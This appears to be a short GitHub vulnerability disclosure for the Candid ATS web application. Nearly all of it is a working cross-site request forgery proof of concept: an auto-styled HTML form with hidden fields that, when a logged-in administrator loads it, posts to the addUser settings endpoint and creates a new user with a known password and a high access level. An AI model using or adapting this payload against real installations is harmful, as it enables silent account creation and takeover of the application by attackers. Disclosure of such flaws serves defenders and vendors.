J3rryBl4nks Create AddAdminUserCSRF.md History

1 contributor

45 lines (23 sloc) | 1.03 KB

The Candid ATS Web application is vulnerable to CSRF to add a new admin user:

CSRF Proof of Concept:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
      <input type="hidden" name="postback" value="postback" />
      <input type="hidden" name="role" value="none" />
      <input type="hidden" name="firstName" value="Test" />
      <input type="hidden" name="lastName" value="User" />
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="hidden" name="username" value="Test" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="retypePassword" value="password" />
      <input type="hidden" name="roleid" value="2" />
      <input type="hidden" name="accessLevel" value="500" />
      <input type="hidden" name="submit" value="Add&#32;User" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```